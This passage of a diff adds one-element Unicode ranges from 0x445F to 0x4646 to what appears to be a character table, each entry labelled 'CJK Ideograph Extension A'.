+ [0x445f, 0x445f], /* CJK Ideograph Extension A */
+ [0x4460, 0x4460], /* CJK Ideograph Extension A */
+ [0x4461, 0x4461], /* CJK Ideograph Extension A */
+ [0x4462, 0x4462], /* CJK Ideograph Extension A */
+ [0x4463, 0x4463], /* CJK Ideograph Extension A */
+ [0x4464, 0x4464], /* CJK Ideograph Extension A */
+ [0x4465, 0x4465], /* CJK Ideograph Extension A */
+ [0x4466, 0x4466], /* CJK Ideograph Extension A */
+ [0x4467, 0x4467], /* CJK Ideograph Extension A */
+ [0x4468, 0x4468], /* CJK Ideograph Extension A */
+ [0x4469, 0x4469], /* CJK Ideograph Extension A */
+ [0x446a, 0x446a], /* CJK Ideograph Extension A */
+ [0x446b, 0x446b], /* CJK Ideograph Extension A */
+ [0x446c, 0x446c], /* CJK Ideograph Extension A */
+ [0x446d, 0x446d], /* CJK Ideograph Extension A */
+ [0x446e, 0x446e], /* CJK Ideograph Extension A */
+ [0x446f, 0x446f], /* CJK Ideograph Extension A */
+ [0x4470, 0x4470], /* CJK Ideograph Extension A */
+ [0x4471, 0x4471], /* CJK Ideograph Extension A */
+ [0x4472, 0x4472], /* CJK Ideograph Extension A */
+ [0x4473, 0x4473], /* CJK Ideograph Extension A */
+ [0x4474, 0x4474], /* CJK Ideograph Extension A */
+ [0x4475, 0x4475], /* CJK Ideograph Extension A */
+ [0x4476, 0x4476], /* CJK Ideograph Extension A */
+ [0x4477, 0x4477], /* CJK Ideograph Extension A */
+ [0x4478, 0x4478], /* CJK Ideograph Extension A */
+ [0x4479, 0x4479], /* CJK Ideograph Extension A */
+ [0x447a, 0x447a], /* CJK Ideograph Extension A */
+ [0x447b, 0x447b], /* CJK Ideograph Extension A */
+ [0x447c, 0x447c], /* CJK Ideograph Extension A */
+ [0x447d, 0x447d], /* CJK Ideograph Extension A */
+ [0x447e, 0x447e], /* CJK Ideograph Extension A */
+ [0x447f, 0x447f], /* CJK Ideograph Extension A */
+ [0x4480, 0x4480], /* CJK Ideograph Extension A */
+ [0x4481, 0x4481], /* CJK Ideograph Extension A */
+ [0x4482, 0x4482], /* CJK Ideograph Extension A */
+ [0x4483, 0x4483], /* CJK Ideograph Extension A */
+ [0x4484, 0x4484], /* CJK Ideograph Extension A */
+ [0x4485, 0x4485], /* CJK Ideograph Extension A */
+ [0x4486, 0x4486], /* CJK Ideograph Extension A */
+ [0x4487, 0x4487], /* CJK Ideograph Extension A */
+ [0x4488, 0x4488], /* CJK Ideograph Extension A */
+ [0x4489, 0x4489], /* CJK Ideograph Extension A */
+ [0x448a, 0x448a], /* CJK Ideograph Extension A */
+ [0x448b, 0x448b], /* CJK Ideograph Extension A */
+ [0x448c, 0x448c], /* CJK Ideograph Extension A */
+ [0x448d, 0x448d], /* CJK Ideograph Extension A */
+ [0x448e, 0x448e], /* CJK Ideograph Extension A */
+ [0x448f, 0x448f], /* CJK Ideograph Extension A */
+ [0x4490, 0x4490], /* CJK Ideograph Extension A */
+ [0x4491, 0x4491], /* CJK Ideograph Extension A */
+ [0x4492, 0x4492], /* CJK Ideograph Extension A */
+ [0x4493, 0x4493], /* CJK Ideograph Extension A */
+ [0x4494, 0x4494], /* CJK Ideograph Extension A */
+ [0x4495, 0x4495], /* CJK Ideograph Extension A */
+ [0x4496, 0x4496], /* CJK Ideograph Extension A */
+ [0x4497, 0x4497], /* CJK Ideograph Extension A */
+ [0x4498, 0x4498], /* CJK Ideograph Extension A */
+ [0x4499, 0x4499], /* CJK Ideograph Extension A */
+ [0x449a, 0x449a], /* CJK Ideograph Extension A */
+ [0x449b, 0x449b], /* CJK Ideograph Extension A */
+ [0x449c, 0x449c], /* CJK Ideograph Extension A */
+ [0x449d, 0x449d], /* CJK Ideograph Extension A */
+ [0x449e, 0x449e], /* CJK Ideograph Extension A */
+ [0x449f, 0x449f], /* CJK Ideograph Extension A */
+ [0x44a0, 0x44a0], /* CJK Ideograph Extension A */
+ [0x44a1, 0x44a1], /* CJK Ideograph Extension A */
+ [0x44a2, 0x44a2], /* CJK Ideograph Extension A */
+ [0x44a3, 0x44a3], /* CJK Ideograph Extension A */
+ [0x44a4, 0x44a4], /* CJK Ideograph Extension A */
+ [0x44a5, 0x44a5], /* CJK Ideograph Extension A */
+ [0x44a6, 0x44a6], /* CJK Ideograph Extension A */
+ [0x44a7, 0x44a7], /* CJK Ideograph Extension A */
+ [0x44a8, 0x44a8], /* CJK Ideograph Extension A */
+ [0x44a9, 0x44a9], /* CJK Ideograph Extension A */
+ [0x44aa, 0x44aa], /* CJK Ideograph Extension A */
+ [0x44ab, 0x44ab], /* CJK Ideograph Extension A */
+ [0x44ac, 0x44ac], /* CJK Ideograph Extension A */
+ [0x44ad, 0x44ad], /* CJK Ideograph Extension A */
+ [0x44ae, 0x44ae], /* CJK Ideograph Extension A */
+ [0x44af, 0x44af], /* CJK Ideograph Extension A */
+ [0x44b0, 0x44b0], /* CJK Ideograph Extension A */
+ [0x44b1, 0x44b1], /* CJK Ideograph Extension A */
+ [0x44b2, 0x44b2], /* CJK Ideograph Extension A */
+ [0x44b3, 0x44b3], /* CJK Ideograph Extension A */
+ [0x44b4, 0x44b4], /* CJK Ideograph Extension A */
+ [0x44b5, 0x44b5], /* CJK Ideograph Extension A */
+ [0x44b6, 0x44b6], /* CJK Ideograph Extension A */
+ [0x44b7, 0x44b7], /* CJK Ideograph Extension A */
+ [0x44b8, 0x44b8], /* CJK Ideograph Extension A */
+ [0x44b9, 0x44b9], /* CJK Ideograph Extension A */
+ [0x44ba, 0x44ba], /* CJK Ideograph Extension A */
+ [0x44bb, 0x44bb], /* CJK Ideograph Extension A */
+ [0x44bc, 0x44bc], /* CJK Ideograph Extension A */
+ [0x44bd, 0x44bd], /* CJK Ideograph Extension A */
+ [0x44be, 0x44be], /* CJK Ideograph Extension A */
+ [0x44bf, 0x44bf], /* CJK Ideograph Extension A */
+ [0x44c0, 0x44c0], /* CJK Ideograph Extension A */
+ [0x44c1, 0x44c1], /* CJK Ideograph Extension A */
+ [0x44c2, 0x44c2], /* CJK Ideograph Extension A */
+ [0x44c3, 0x44c3], /* CJK Ideograph Extension A */
+ [0x44c4, 0x44c4], /* CJK Ideograph Extension A */
+ [0x44c5, 0x44c5], /* CJK Ideograph Extension A */
+ [0x44c6, 0x44c6], /* CJK Ideograph Extension A */
+ [0x44c7, 0x44c7], /* CJK Ideograph Extension A */
+ [0x44c8, 0x44c8], /* CJK Ideograph Extension A */
+ [0x44c9, 0x44c9], /* CJK Ideograph Extension A */
+ [0x44ca, 0x44ca], /* CJK Ideograph Extension A */
+ [0x44cb, 0x44cb], /* CJK Ideograph Extension A */
+ [0x44cc, 0x44cc], /* CJK Ideograph Extension A */
+ [0x44cd, 0x44cd], /* CJK Ideograph Extension A */
+ [0x44ce, 0x44ce], /* CJK Ideograph Extension A */
+ [0x44cf, 0x44cf], /* CJK Ideograph Extension A */
+ [0x44d0, 0x44d0], /* CJK Ideograph Extension A */
+ [0x44d1, 0x44d1], /* CJK Ideograph Extension A */
+ [0x44d2, 0x44d2], /* CJK Ideograph Extension A */
+ [0x44d3, 0x44d3], /* CJK Ideograph Extension A */
+ [0x44d4, 0x44d4], /* CJK Ideograph Extension A */
+ [0x44d5, 0x44d5], /* CJK Ideograph Extension A */
+ [0x44d6, 0x44d6], /* CJK Ideograph Extension A */
+ [0x44d7, 0x44d7], /* CJK Ideograph Extension A */
+ [0x44d8, 0x44d8], /* CJK Ideograph Extension A */
+ [0x44d9, 0x44d9], /* CJK Ideograph Extension A */
+ [0x44da, 0x44da], /* CJK Ideograph Extension A */
+ [0x44db, 0x44db], /* CJK Ideograph Extension A */
+ [0x44dc, 0x44dc], /* CJK Ideograph Extension A */
+ [0x44dd, 0x44dd], /* CJK Ideograph Extension A */
+ [0x44de, 0x44de], /* CJK Ideograph Extension A */
+ [0x44df, 0x44df], /* CJK Ideograph Extension A */
+ [0x44e0, 0x44e0], /* CJK Ideograph Extension A */
+ [0x44e1, 0x44e1], /* CJK Ideograph Extension A */
+ [0x44e2, 0x44e2], /* CJK Ideograph Extension A */
+ [0x44e3, 0x44e3], /* CJK Ideograph Extension A */
+ [0x44e4, 0x44e4], /* CJK Ideograph Extension A */
+ [0x44e5, 0x44e5], /* CJK Ideograph Extension A */
+ [0x44e6, 0x44e6], /* CJK Ideograph Extension A */
+ [0x44e7, 0x44e7], /* CJK Ideograph Extension A */
+ [0x44e8, 0x44e8], /* CJK Ideograph Extension A */
+ [0x44e9, 0x44e9], /* CJK Ideograph Extension A */
+ [0x44ea, 0x44ea], /* CJK Ideograph Extension A */
+ [0x44eb, 0x44eb], /* CJK Ideograph Extension A */
+ [0x44ec, 0x44ec], /* CJK Ideograph Extension A */
+ [0x44ed, 0x44ed], /* CJK Ideograph Extension A */
+ [0x44ee, 0x44ee], /* CJK Ideograph Extension A */
+ [0x44ef, 0x44ef], /* CJK Ideograph Extension A */
+ [0x44f0, 0x44f0], /* CJK Ideograph Extension A */
+ [0x44f1, 0x44f1], /* CJK Ideograph Extension A */
+ [0x44f2, 0x44f2], /* CJK Ideograph Extension A */
+ [0x44f3, 0x44f3], /* CJK Ideograph Extension A */
+ [0x44f4, 0x44f4], /* CJK Ideograph Extension A */
+ [0x44f5, 0x44f5], /* CJK Ideograph Extension A */
+ [0x44f6, 0x44f6], /* CJK Ideograph Extension A */
+ [0x44f7, 0x44f7], /* CJK Ideograph Extension A */
+ [0x44f8, 0x44f8], /* CJK Ideograph Extension A */
+ [0x44f9, 0x44f9], /* CJK Ideograph Extension A */
+ [0x44fa, 0x44fa], /* CJK Ideograph Extension A */
+ [0x44fb, 0x44fb], /* CJK Ideograph Extension A */
+ [0x44fc, 0x44fc], /* CJK Ideograph Extension A */
+ [0x44fd, 0x44fd], /* CJK Ideograph Extension A */
+ [0x44fe, 0x44fe], /* CJK Ideograph Extension A */
+ [0x44ff, 0x44ff], /* CJK Ideograph Extension A */
+ [0x4500, 0x4500], /* CJK Ideograph Extension A */
+ [0x4501, 0x4501], /* CJK Ideograph Extension A */
+ [0x4502, 0x4502], /* CJK Ideograph Extension A */
+ [0x4503, 0x4503], /* CJK Ideograph Extension A */
+ [0x4504, 0x4504], /* CJK Ideograph Extension A */
+ [0x4505, 0x4505], /* CJK Ideograph Extension A */
+ [0x4506, 0x4506], /* CJK Ideograph Extension A */
+ [0x4507, 0x4507], /* CJK Ideograph Extension A */
+ [0x4508, 0x4508], /* CJK Ideograph Extension A */
+ [0x4509, 0x4509], /* CJK Ideograph Extension A */
+ [0x450a, 0x450a], /* CJK Ideograph Extension A */
+ [0x450b, 0x450b], /* CJK Ideograph Extension A */
+ [0x450c, 0x450c], /* CJK Ideograph Extension A */
+ [0x450d, 0x450d], /* CJK Ideograph Extension A */
+ [0x450e, 0x450e], /* CJK Ideograph Extension A */
+ [0x450f, 0x450f], /* CJK Ideograph Extension A */
+ [0x4510, 0x4510], /* CJK Ideograph Extension A */
+ [0x4511, 0x4511], /* CJK Ideograph Extension A */
+ [0x4512, 0x4512], /* CJK Ideograph Extension A */
+ [0x4513, 0x4513], /* CJK Ideograph Extension A */
+ [0x4514, 0x4514], /* CJK Ideograph Extension A */
+ [0x4515, 0x4515], /* CJK Ideograph Extension A */
+ [0x4516, 0x4516], /* CJK Ideograph Extension A */
+ [0x4517, 0x4517], /* CJK Ideograph Extension A */
+ [0x4518, 0x4518], /* CJK Ideograph Extension A */
+ [0x4519, 0x4519], /* CJK Ideograph Extension A */
+ [0x451a, 0x451a], /* CJK Ideograph Extension A */
+ [0x451b, 0x451b], /* CJK Ideograph Extension A */
+ [0x451c, 0x451c], /* CJK Ideograph Extension A */
+ [0x451d, 0x451d], /* CJK Ideograph Extension A */
+ [0x451e, 0x451e], /* CJK Ideograph Extension A */
+ [0x451f, 0x451f], /* CJK Ideograph Extension A */
+ [0x4520, 0x4520], /* CJK Ideograph Extension A */
+ [0x4521, 0x4521], /* CJK Ideograph Extension A */
+ [0x4522, 0x4522], /* CJK Ideograph Extension A */
+ [0x4523, 0x4523], /* CJK Ideograph Extension A */
+ [0x4524, 0x4524], /* CJK Ideograph Extension A */
+ [0x4525, 0x4525], /* CJK Ideograph Extension A */
+ [0x4526, 0x4526], /* CJK Ideograph Extension A */
+ [0x4527, 0x4527], /* CJK Ideograph Extension A */
+ [0x4528, 0x4528], /* CJK Ideograph Extension A */
+ [0x4529, 0x4529], /* CJK Ideograph Extension A */
+ [0x452a, 0x452a], /* CJK Ideograph Extension A */
+ [0x452b, 0x452b], /* CJK Ideograph Extension A */
+ [0x452c, 0x452c], /* CJK Ideograph Extension A */
+ [0x452d, 0x452d], /* CJK Ideograph Extension A */
+ [0x452e, 0x452e], /* CJK Ideograph Extension A */
+ [0x452f, 0x452f], /* CJK Ideograph Extension A */
+ [0x4530, 0x4530], /* CJK Ideograph Extension A */
+ [0x4531, 0x4531], /* CJK Ideograph Extension A */
+ [0x4532, 0x4532], /* CJK Ideograph Extension A */
+ [0x4533, 0x4533], /* CJK Ideograph Extension A */
+ [0x4534, 0x4534], /* CJK Ideograph Extension A */
+ [0x4535, 0x4535], /* CJK Ideograph Extension A */
+ [0x4536, 0x4536], /* CJK Ideograph Extension A */
+ [0x4537, 0x4537], /* CJK Ideograph Extension A */
+ [0x4538, 0x4538], /* CJK Ideograph Extension A */
+ [0x4539, 0x4539], /* CJK Ideograph Extension A */
+ [0x453a, 0x453a], /* CJK Ideograph Extension A */
+ [0x453b, 0x453b], /* CJK Ideograph Extension A */
+ [0x453c, 0x453c], /* CJK Ideograph Extension A */
+ [0x453d, 0x453d], /* CJK Ideograph Extension A */
+ [0x453e, 0x453e], /* CJK Ideograph Extension A */
+ [0x453f, 0x453f], /* CJK Ideograph Extension A */
+ [0x4540, 0x4540], /* CJK Ideograph Extension A */
+ [0x4541, 0x4541], /* CJK Ideograph Extension A */
+ [0x4542, 0x4542], /* CJK Ideograph Extension A */
+ [0x4543, 0x4543], /* CJK Ideograph Extension A */
+ [0x4544, 0x4544], /* CJK Ideograph Extension A */
+ [0x4545, 0x4545], /* CJK Ideograph Extension A */
+ [0x4546, 0x4546], /* CJK Ideograph Extension A */
+ [0x4547, 0x4547], /* CJK Ideograph Extension A */
+ [0x4548, 0x4548], /* CJK Ideograph Extension A */
+ [0x4549, 0x4549], /* CJK Ideograph Extension A */
+ [0x454a, 0x454a], /* CJK Ideograph Extension A */
+ [0x454b, 0x454b], /* CJK Ideograph Extension A */
+ [0x454c, 0x454c], /* CJK Ideograph Extension A */
+ [0x454d, 0x454d], /* CJK Ideograph Extension A */
+ [0x454e, 0x454e], /* CJK Ideograph Extension A */
+ [0x454f, 0x454f], /* CJK Ideograph Extension A */
+ [0x4550, 0x4550], /* CJK Ideograph Extension A */
+ [0x4551, 0x4551], /* CJK Ideograph Extension A */
+ [0x4552, 0x4552], /* CJK Ideograph Extension A */
+ [0x4553, 0x4553], /* CJK Ideograph Extension A */
+ [0x4554, 0x4554], /* CJK Ideograph Extension A */
+ [0x4555, 0x4555], /* CJK Ideograph Extension A */
+ [0x4556, 0x4556], /* CJK Ideograph Extension A */
+ [0x4557, 0x4557], /* CJK Ideograph Extension A */
+ [0x4558, 0x4558], /* CJK Ideograph Extension A */
+ [0x4559, 0x4559], /* CJK Ideograph Extension A */
+ [0x455a, 0x455a], /* CJK Ideograph Extension A */
+ [0x455b, 0x455b], /* CJK Ideograph Extension A */
+ [0x455c, 0x455c], /* CJK Ideograph Extension A */
+ [0x455d, 0x455d], /* CJK Ideograph Extension A */
+ [0x455e, 0x455e], /* CJK Ideograph Extension A */
+ [0x455f, 0x455f], /* CJK Ideograph Extension A */
+ [0x4560, 0x4560], /* CJK Ideograph Extension A */
+ [0x4561, 0x4561], /* CJK Ideograph Extension A */
+ [0x4562, 0x4562], /* CJK Ideograph Extension A */
+ [0x4563, 0x4563], /* CJK Ideograph Extension A */
+ [0x4564, 0x4564], /* CJK Ideograph Extension A */
+ [0x4565, 0x4565], /* CJK Ideograph Extension A */
+ [0x4566, 0x4566], /* CJK Ideograph Extension A */
+ [0x4567, 0x4567], /* CJK Ideograph Extension A */
+ [0x4568, 0x4568], /* CJK Ideograph Extension A */
+ [0x4569, 0x4569], /* CJK Ideograph Extension A */
+ [0x456a, 0x456a], /* CJK Ideograph Extension A */
+ [0x456b, 0x456b], /* CJK Ideograph Extension A */
+ [0x456c, 0x456c], /* CJK Ideograph Extension A */
+ [0x456d, 0x456d], /* CJK Ideograph Extension A */
+ [0x456e, 0x456e], /* CJK Ideograph Extension A */
+ [0x456f, 0x456f], /* CJK Ideograph Extension A */
+ [0x4570, 0x4570], /* CJK Ideograph Extension A */
+ [0x4571, 0x4571], /* CJK Ideograph Extension A */
+ [0x4572, 0x4572], /* CJK Ideograph Extension A */
+ [0x4573, 0x4573], /* CJK Ideograph Extension A */
+ [0x4574, 0x4574], /* CJK Ideograph Extension A */
+ [0x4575, 0x4575], /* CJK Ideograph Extension A */
+ [0x4576, 0x4576], /* CJK Ideograph Extension A */
+ [0x4577, 0x4577], /* CJK Ideograph Extension A */
+ [0x4578, 0x4578], /* CJK Ideograph Extension A */
+ [0x4579, 0x4579], /* CJK Ideograph Extension A */
+ [0x457a, 0x457a], /* CJK Ideograph Extension A */
+ [0x457b, 0x457b], /* CJK Ideograph Extension A */
+ [0x457c, 0x457c], /* CJK Ideograph Extension A */
+ [0x457d, 0x457d], /* CJK Ideograph Extension A */
+ [0x457e, 0x457e], /* CJK Ideograph Extension A */
+ [0x457f, 0x457f], /* CJK Ideograph Extension A */
+ [0x4580, 0x4580], /* CJK Ideograph Extension A */
+ [0x4581, 0x4581], /* CJK Ideograph Extension A */
+ [0x4582, 0x4582], /* CJK Ideograph Extension A */
+ [0x4583, 0x4583], /* CJK Ideograph Extension A */
+ [0x4584, 0x4584], /* CJK Ideograph Extension A */
+ [0x4585, 0x4585], /* CJK Ideograph Extension A */
+ [0x4586, 0x4586], /* CJK Ideograph Extension A */
+ [0x4587, 0x4587], /* CJK Ideograph Extension A */
+ [0x4588, 0x4588], /* CJK Ideograph Extension A */
+ [0x4589, 0x4589], /* CJK Ideograph Extension A */
+ [0x458a, 0x458a], /* CJK Ideograph Extension A */
+ [0x458b, 0x458b], /* CJK Ideograph Extension A */
+ [0x458c, 0x458c], /* CJK Ideograph Extension A */
+ [0x458d, 0x458d], /* CJK Ideograph Extension A */
+ [0x458e, 0x458e], /* CJK Ideograph Extension A */
+ [0x458f, 0x458f], /* CJK Ideograph Extension A */
+ [0x4590, 0x4590], /* CJK Ideograph Extension A */
+ [0x4591, 0x4591], /* CJK Ideograph Extension A */
+ [0x4592, 0x4592], /* CJK Ideograph Extension A */
+ [0x4593, 0x4593], /* CJK Ideograph Extension A */
+ [0x4594, 0x4594], /* CJK Ideograph Extension A */
+ [0x4595, 0x4595], /* CJK Ideograph Extension A */
+ [0x4596, 0x4596], /* CJK Ideograph Extension A */
+ [0x4597, 0x4597], /* CJK Ideograph Extension A */
+ [0x4598, 0x4598], /* CJK Ideograph Extension A */
+ [0x4599, 0x4599], /* CJK Ideograph Extension A */
+ [0x459a, 0x459a], /* CJK Ideograph Extension A */
+ [0x459b, 0x459b], /* CJK Ideograph Extension A */
+ [0x459c, 0x459c], /* CJK Ideograph Extension A */
+ [0x459d, 0x459d], /* CJK Ideograph Extension A */
+ [0x459e, 0x459e], /* CJK Ideograph Extension A */
+ [0x459f, 0x459f], /* CJK Ideograph Extension A */
+ [0x45a0, 0x45a0], /* CJK Ideograph Extension A */
+ [0x45a1, 0x45a1], /* CJK Ideograph Extension A */
+ [0x45a2, 0x45a2], /* CJK Ideograph Extension A */
+ [0x45a3, 0x45a3], /* CJK Ideograph Extension A */
+ [0x45a4, 0x45a4], /* CJK Ideograph Extension A */
+ [0x45a5, 0x45a5], /* CJK Ideograph Extension A */
+ [0x45a6, 0x45a6], /* CJK Ideograph Extension A */
+ [0x45a7, 0x45a7], /* CJK Ideograph Extension A */
+ [0x45a8, 0x45a8], /* CJK Ideograph Extension A */
+ [0x45a9, 0x45a9], /* CJK Ideograph Extension A */
+ [0x45aa, 0x45aa], /* CJK Ideograph Extension A */
+ [0x45ab, 0x45ab], /* CJK Ideograph Extension A */
+ [0x45ac, 0x45ac], /* CJK Ideograph Extension A */
+ [0x45ad, 0x45ad], /* CJK Ideograph Extension A */
+ [0x45ae, 0x45ae], /* CJK Ideograph Extension A */
+ [0x45af, 0x45af], /* CJK Ideograph Extension A */
+ [0x45b0, 0x45b0], /* CJK Ideograph Extension A */
+ [0x45b1, 0x45b1], /* CJK Ideograph Extension A */
+ [0x45b2, 0x45b2], /* CJK Ideograph Extension A */
+ [0x45b3, 0x45b3], /* CJK Ideograph Extension A */
+ [0x45b4, 0x45b4], /* CJK Ideograph Extension A */
+ [0x45b5, 0x45b5], /* CJK Ideograph Extension A */
+ [0x45b6, 0x45b6], /* CJK Ideograph Extension A */
+ [0x45b7, 0x45b7], /* CJK Ideograph Extension A */
+ [0x45b8, 0x45b8], /* CJK Ideograph Extension A */
+ [0x45b9, 0x45b9], /* CJK Ideograph Extension A */
+ [0x45ba, 0x45ba], /* CJK Ideograph Extension A */
+ [0x45bb, 0x45bb], /* CJK Ideograph Extension A */
+ [0x45bc, 0x45bc], /* CJK Ideograph Extension A */
+ [0x45bd, 0x45bd], /* CJK Ideograph Extension A */
+ [0x45be, 0x45be], /* CJK Ideograph Extension A */
+ [0x45bf, 0x45bf], /* CJK Ideograph Extension A */
+ [0x45c0, 0x45c0], /* CJK Ideograph Extension A */
+ [0x45c1, 0x45c1], /* CJK Ideograph Extension A */
+ [0x45c2, 0x45c2], /* CJK Ideograph Extension A */
+ [0x45c3, 0x45c3], /* CJK Ideograph Extension A */
+ [0x45c4, 0x45c4], /* CJK Ideograph Extension A */
+ [0x45c5, 0x45c5], /* CJK Ideograph Extension A */
+ [0x45c6, 0x45c6], /* CJK Ideograph Extension A */
+ [0x45c7, 0x45c7], /* CJK Ideograph Extension A */
+ [0x45c8, 0x45c8], /* CJK Ideograph Extension A */
+ [0x45c9, 0x45c9], /* CJK Ideograph Extension A */
+ [0x45ca, 0x45ca], /* CJK Ideograph Extension A */
+ [0x45cb, 0x45cb], /* CJK Ideograph Extension A */
+ [0x45cc, 0x45cc], /* CJK Ideograph Extension A */
+ [0x45cd, 0x45cd], /* CJK Ideograph Extension A */
+ [0x45ce, 0x45ce], /* CJK Ideograph Extension A */
+ [0x45cf, 0x45cf], /* CJK Ideograph Extension A */
+ [0x45d0, 0x45d0], /* CJK Ideograph Extension A */
+ [0x45d1, 0x45d1], /* CJK Ideograph Extension A */
+ [0x45d2, 0x45d2], /* CJK Ideograph Extension A */
+ [0x45d3, 0x45d3], /* CJK Ideograph Extension A */
+ [0x45d4, 0x45d4], /* CJK Ideograph Extension A */
+ [0x45d5, 0x45d5], /* CJK Ideograph Extension A */
+ [0x45d6, 0x45d6], /* CJK Ideograph Extension A */
+ [0x45d7, 0x45d7], /* CJK Ideograph Extension A */
+ [0x45d8, 0x45d8], /* CJK Ideograph Extension A */
+ [0x45d9, 0x45d9], /* CJK Ideograph Extension A */
+ [0x45da, 0x45da], /* CJK Ideograph Extension A */
+ [0x45db, 0x45db], /* CJK Ideograph Extension A */
+ [0x45dc, 0x45dc], /* CJK Ideograph Extension A */
+ [0x45dd, 0x45dd], /* CJK Ideograph Extension A */
+ [0x45de, 0x45de], /* CJK Ideograph Extension A */
+ [0x45df, 0x45df], /* CJK Ideograph Extension A */
+ [0x45e0, 0x45e0], /* CJK Ideograph Extension A */
+ [0x45e1, 0x45e1], /* CJK Ideograph Extension A */
+ [0x45e2, 0x45e2], /* CJK Ideograph Extension A */
+ [0x45e3, 0x45e3], /* CJK Ideograph Extension A */
+ [0x45e4, 0x45e4], /* CJK Ideograph Extension A */
+ [0x45e5, 0x45e5], /* CJK Ideograph Extension A */
+ [0x45e6, 0x45e6], /* CJK Ideograph Extension A */
+ [0x45e7, 0x45e7], /* CJK Ideograph Extension A */
+ [0x45e8, 0x45e8], /* CJK Ideograph Extension A */
+ [0x45e9, 0x45e9], /* CJK Ideograph Extension A */
+ [0x45ea, 0x45ea], /* CJK Ideograph Extension A */
+ [0x45eb, 0x45eb], /* CJK Ideograph Extension A */
+ [0x45ec, 0x45ec], /* CJK Ideograph Extension A */
+ [0x45ed, 0x45ed], /* CJK Ideograph Extension A */
+ [0x45ee, 0x45ee], /* CJK Ideograph Extension A */
+ [0x45ef, 0x45ef], /* CJK Ideograph Extension A */
+ [0x45f0, 0x45f0], /* CJK Ideograph Extension A */
+ [0x45f1, 0x45f1], /* CJK Ideograph Extension A */
+ [0x45f2, 0x45f2], /* CJK Ideograph Extension A */
+ [0x45f3, 0x45f3], /* CJK Ideograph Extension A */
+ [0x45f4, 0x45f4], /* CJK Ideograph Extension A */
+ [0x45f5, 0x45f5], /* CJK Ideograph Extension A */
+ [0x45f6, 0x45f6], /* CJK Ideograph Extension A */
+ [0x45f7, 0x45f7], /* CJK Ideograph Extension A */
+ [0x45f8, 0x45f8], /* CJK Ideograph Extension A */
+ [0x45f9, 0x45f9], /* CJK Ideograph Extension A */
+ [0x45fa, 0x45fa], /* CJK Ideograph Extension A */
+ [0x45fb, 0x45fb], /* CJK Ideograph Extension A */
+ [0x45fc, 0x45fc], /* CJK Ideograph Extension A */
+ [0x45fd, 0x45fd], /* CJK Ideograph Extension A */
+ [0x45fe, 0x45fe], /* CJK Ideograph Extension A */
+ [0x45ff, 0x45ff], /* CJK Ideograph Extension A */
+ [0x4600, 0x4600], /* CJK Ideograph Extension A */
+ [0x4601, 0x4601], /* CJK Ideograph Extension A */
+ [0x4602, 0x4602], /* CJK Ideograph Extension A */
+ [0x4603, 0x4603], /* CJK Ideograph Extension A */
+ [0x4604, 0x4604], /* CJK Ideograph Extension A */
+ [0x4605, 0x4605], /* CJK Ideograph Extension A */
+ [0x4606, 0x4606], /* CJK Ideograph Extension A */
+ [0x4607, 0x4607], /* CJK Ideograph Extension A */
+ [0x4608, 0x4608], /* CJK Ideograph Extension A */
+ [0x4609, 0x4609], /* CJK Ideograph Extension A */
+ [0x460a, 0x460a], /* CJK Ideograph Extension A */
+ [0x460b, 0x460b], /* CJK Ideograph Extension A */
+ [0x460c, 0x460c], /* CJK Ideograph Extension A */
+ [0x460d, 0x460d], /* CJK Ideograph Extension A */
+ [0x460e, 0x460e], /* CJK Ideograph Extension A */
+ [0x460f, 0x460f], /* CJK Ideograph Extension A */
+ [0x4610, 0x4610], /* CJK Ideograph Extension A */
+ [0x4611, 0x4611], /* CJK Ideograph Extension A */
+ [0x4612, 0x4612], /* CJK Ideograph Extension A */
+ [0x4613, 0x4613], /* CJK Ideograph Extension A */
+ [0x4614, 0x4614], /* CJK Ideograph Extension A */
+ [0x4615, 0x4615], /* CJK Ideograph Extension A */
+ [0x4616, 0x4616], /* CJK Ideograph Extension A */
+ [0x4617, 0x4617], /* CJK Ideograph Extension A */
+ [0x4618, 0x4618], /* CJK Ideograph Extension A */
+ [0x4619, 0x4619], /* CJK Ideograph Extension A */
+ [0x461a, 0x461a], /* CJK Ideograph Extension A */
+ [0x461b, 0x461b], /* CJK Ideograph Extension A */
+ [0x461c, 0x461c], /* CJK Ideograph Extension A */
+ [0x461d, 0x461d], /* CJK Ideograph Extension A */
+ [0x461e, 0x461e], /* CJK Ideograph Extension A */
+ [0x461f, 0x461f], /* CJK Ideograph Extension A */
+ [0x4620, 0x4620], /* CJK Ideograph Extension A */
+ [0x4621, 0x4621], /* CJK Ideograph Extension A */
+ [0x4622, 0x4622], /* CJK Ideograph Extension A */
+ [0x4623, 0x4623], /* CJK Ideograph Extension A */
+ [0x4624, 0x4624], /* CJK Ideograph Extension A */
+ [0x4625, 0x4625], /* CJK Ideograph Extension A */
+ [0x4626, 0x4626], /* CJK Ideograph Extension A */
+ [0x4627, 0x4627], /* CJK Ideograph Extension A */
+ [0x4628, 0x4628], /* CJK Ideograph Extension A */
+ [0x4629, 0x4629], /* CJK Ideograph Extension A */
+ [0x462a, 0x462a], /* CJK Ideograph Extension A */
+ [0x462b, 0x462b], /* CJK Ideograph Extension A */
+ [0x462c, 0x462c], /* CJK Ideograph Extension A */
+ [0x462d, 0x462d], /* CJK Ideograph Extension A */
+ [0x462e, 0x462e], /* CJK Ideograph Extension A */
+ [0x462f, 0x462f], /* CJK Ideograph Extension A */
+ [0x4630, 0x4630], /* CJK Ideograph Extension A */
+ [0x4631, 0x4631], /* CJK Ideograph Extension A */
+ [0x4632, 0x4632], /* CJK Ideograph Extension A */
+ [0x4633, 0x4633], /* CJK Ideograph Extension A */
+ [0x4634, 0x4634], /* CJK Ideograph Extension A */
+ [0x4635, 0x4635], /* CJK Ideograph Extension A */
+ [0x4636, 0x4636], /* CJK Ideograph Extension A */
+ [0x4637, 0x4637], /* CJK Ideograph Extension A */
+ [0x4638, 0x4638], /* CJK Ideograph Extension A */
+ [0x4639, 0x4639], /* CJK Ideograph Extension A */
+ [0x463a, 0x463a], /* CJK Ideograph Extension A */
+ [0x463b, 0x463b], /* CJK Ideograph Extension A */
+ [0x463c, 0x463c], /* CJK Ideograph Extension A */
+ [0x463d, 0x463d], /* CJK Ideograph Extension A */
+ [0x463e, 0x463e], /* CJK Ideograph Extension A */
+ [0x463f, 0x463f], /* CJK Ideograph Extension A */
+ [0x4640, 0x4640], /* CJK Ideograph Extension A */
+ [0x4641, 0x4641], /* CJK Ideograph Extension A */
+ [0x4642, 0x4642], /* CJK Ideograph Extension A */
+ [0x4643, 0x4643], /* CJK Ideograph Extension A */
+ [0x4644, 0x4644], /* CJK Ideograph Extension A */
+ [0x4645, 0x4645], /* CJK Ideograph Extension A */
+ [0x4646, 0x4646], /* CJK Ideograph Extension A */
